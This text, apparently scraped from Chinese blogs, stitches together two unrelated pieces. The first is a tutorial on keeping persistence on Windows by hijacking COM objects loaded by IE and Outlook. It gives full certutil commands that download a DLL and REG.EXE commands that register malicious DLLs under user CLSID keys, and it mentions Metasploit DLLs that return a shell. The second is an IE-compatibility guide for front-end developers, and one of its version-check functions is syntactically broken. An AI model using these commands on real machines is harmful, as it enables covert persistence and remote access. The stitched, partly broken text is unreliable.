CATALOG
1.实现原理
2.实现过程
劫持IE浏览器
劫持outlook
3.参考文章

1.实现原理
通过劫持IE浏览器或者outlook启动过程中启动的com组件，来使系统执行我们所指定的dll文件，进而达到权限维持，可以通过修改注册表来完成，不需要管理员权限。
2.实现过程
劫持IE浏览器

下载poc文件：

certutil.exe -urlcache -split -f https://github.com/3gstudent/test/blob/master/calcmutex.dll
创建文件夹

如果是64位系统：

mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
cd  %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}



下载文件并修改文件名

certutil.exe -urlcache -split -f [url] api-ms-win-downlevel-1x64-l1-1-0._dl
certutil.exe -urlcache -split -f [url] #删除缓存



修改注册表

值为刚下载的文件的绝对路径：

C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl


劫持结果



也可以使用msf生成的dll来实现，会弹回shell，不过机器重启后，会丢失桌面，直接黑屏。需要自己编写恶意dll确保dll只会执行一次。定义一个互斥向量即可。



所有命令如下：
cd desktop

mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

copy calcmutex.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

copy calcmutex_x64.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl


SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32

REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl" /F

REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F




SET KEY=HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InProcServer32

REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" /F

REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F



也可以使用脚本一键完成：https://github.com/3gstudent/COM-Object-hijacking

劫持outlook
实现所需所有命令如下：
reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f






reg add HKCU\Software\Classes\Wow6432Node\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f

reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f

reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f

reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f






自动实现脚本：https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

3.参考文章
Hijack CAccPropServicesClass and MMDeviceEnumerator劫持IE浏览器

Use COM Object hijacking to maintain persistence——Hijack Outlook

网站适配IE浏览器的几个注意事项
注意事项目录
网站适配IE浏览器的几个注意事项
1、ajax请求date数据格式:
2、部分js插件需要引入对应的js文件才能生效
2、判断不同浏览器内核后使用对应的方法
2、IE浏览器常见报错
1）、无效字符：
2）、js导出excel文件，传递给系统调用的数据区域太小：
3）、InvalidCharacterError

1、ajax请求date数据格式:
错误示范
$.ajax({
        url: 'url',
        type: 'POST',
        data: {
            data: "data",
        },
        success: function (e) {
        }        
})

正确示范(最后一个date值不能有“，”)
$.ajax({
       url: 'url',
       type: 'POST',
       data: {
           data: "data"
       },
       success: function (e) {
       }        
})

2、部分js插件需要引入对应的js文件才能生效
例如：sweetalert弹框插件，在IE浏览器正常运行，需要引入promise.auto.js,在chorme浏览器则不需要

IE正常使用该插件有两种方法：

1、cdn地址：https://cdn.bootcss.com/es6-promise/4.1.1/es6-promise.auto.js

2、以下代码不会与IE11一起运行：
swal({
    title: 'Are you sure?',
    text: "You won't be able to revert this!",
    type: 'warning',
    showCancelButton: true,
    confirmButtonColor: '#3085d6',
    cancelButtonColor: '#d33',
    confirmButtonText: 'Yes, delete it!'
}).then((result) => {
   if (result.value) {
     swal(
       'Deleted!',
       'Your file has been deleted.',
       'success'
     )
   }
})

解决此问题的简单方法是使用 function() 语法而不是 () =>
swal({
    title: 'Are you sure?',
    text: "You won't be able to revert this!",
    type: 'warning',
    showCancelButton: true,
    confirmButtonColor: '#3085d6',
    cancelButtonColor: '#d33',
    confirmButtonText: 'Yes, delete it!'
}).then(function(result) {
   if (result.value) {
     swal(
       'Deleted!',
       'Your file has been deleted.',
       'success'
     )
   }
})

2、判断不同浏览器内核后使用对应的方法
var ie = navigator.userAgent.match(/MSIE\s([\d.]+)/),
	ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/),
    ieEDGE = navigator.userAgent.match(/Edge/g),
    ieVer = (ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1)));
    console.log('excelFileie:' + ie);
    console.log('excelFileieVer:' + ieVer);
    if (ie && ieVer < 10) {
        this.message.error('No blobs on IE<10');
        return;
    }
    if (ieVer > -1) {
    //IE
    } else {
	//chorme
	}

2、IE浏览器常见报错
1）、无效字符：
原本是：
`string text ${expression} string text`

修改为
"string text "+expression+" string text"

2）、js导出excel文件，传递给系统调用的数据区域太小：
IE浏览器对URL的最大限制为2083个字符，如果超过这个数字，提交按钮没有任何反应。
function downloadFile(title, data) {
		        const blob = new Blob([data], {type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;'});
		        const ie = navigator.userAgent.match(/MSIE\s([\d.]+)/),
		            ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/),
		            ieEDGE = navigator.userAgent.match(/Edge/g),
		            ieVer = (ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1)));
		        console.log('ie:' + ie);
		        console.log('ieVer:' + ieVer);
		        if (ie && ieVer < 10) {
		            this.message.error('No blobs on IE<10');
		            return;
		        }
		        if (ieVer > -1) {
		            window.navigator.msSaveBlob(blob, title);
		        } else {
		            const url = window.URL.createObjectURL(blob);
		            let link = document.createElement('a');
		            link.setAttribute('href', url);
		            link.setAttribute('download', title);
		            document.body.appendChild(link);
		            link.click();
		            document.body.removeChild(link);
		        }
		    }

3）、InvalidCharacterError
//创建HTML元素的js代码， 例如ajaxfileupload.js, 行10 字符17代码：

var io = document.createElement("<iframe id='" + frameId + "' name='" + frameId + "' />");
//以上代码在IE10下报如下错误：
//SCRIPT5022: InvalidCharacterError
//解决办法，改成如下兼容写法：
var io=document.createElement("iframe");
io.id=frameId;
io.name=frameId;
//以上代码出至  ajaxfileupload.js, 行10 字符17  使用ajaxfileupload.js需把此行更改成上面那样，才能在IE10正常运行。

1、检测是否为IE浏览器方法一

function isIE() {
    if (!!window.ActiveXObject || "ActiveXObject" in window)
        return true;
    else
        return false;
}

2、判断是否为IE浏览器方法二

//判断是否是IE浏览器 
function isIE(){ 
      var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 
      var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera; //判断是否IE浏览器 
      if(isIE){ 
          return "1"; 
      }else{ 
          return "-1"; 
      } 
} 

2、检测IE浏览器的版本

function IEVersion() {
    var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1; //判断是否IE<11浏览器
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE; //判断是否IE的Edge浏览器
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    if (isIE) {
        var reIE = new RegExp("MSIE (\\d+\\.\\d+);");
        reIE.test(userAgent);
        var fIEVersion = parseFloat(RegExp["$1"]);
        if (fIEVersion == 7) {
            return 7;
        } else if (fIEVersion == 8) {
            return 8;
        } else if (fIEVersion == 9) {
            return 9;
        } else if (fIEVersion == 10) {
            return 10;
        } else {
            return 6; //IE版本<=7
        } else if (isEdge) {
            return 'edge'; //edge
        } else if (isIE11) {
            return 11; //IE11
        } else {
            return -1; //不是ie浏览器           
        }
    }
}


 

交流

1、QQ群：可添加qq群共同进阶学习： 进军全栈工程师疑难解  群号:   856402057

2、公众号：公众号「进军全栈攻城狮」 ，对前端技术保持学习爱好者。我会经常分享自己所学所看的干货，在进阶的路上，共勉！

                                                  

使用ActivexObject 区分IE浏览器与非IE浏览器


  
IE支持ActiveObject控件，而chrome系列不支持




function isIE(){
    if (window.ActiveXObject || "ActiveXObject" in window) {
    return true;
}else{
    return false;
  }
}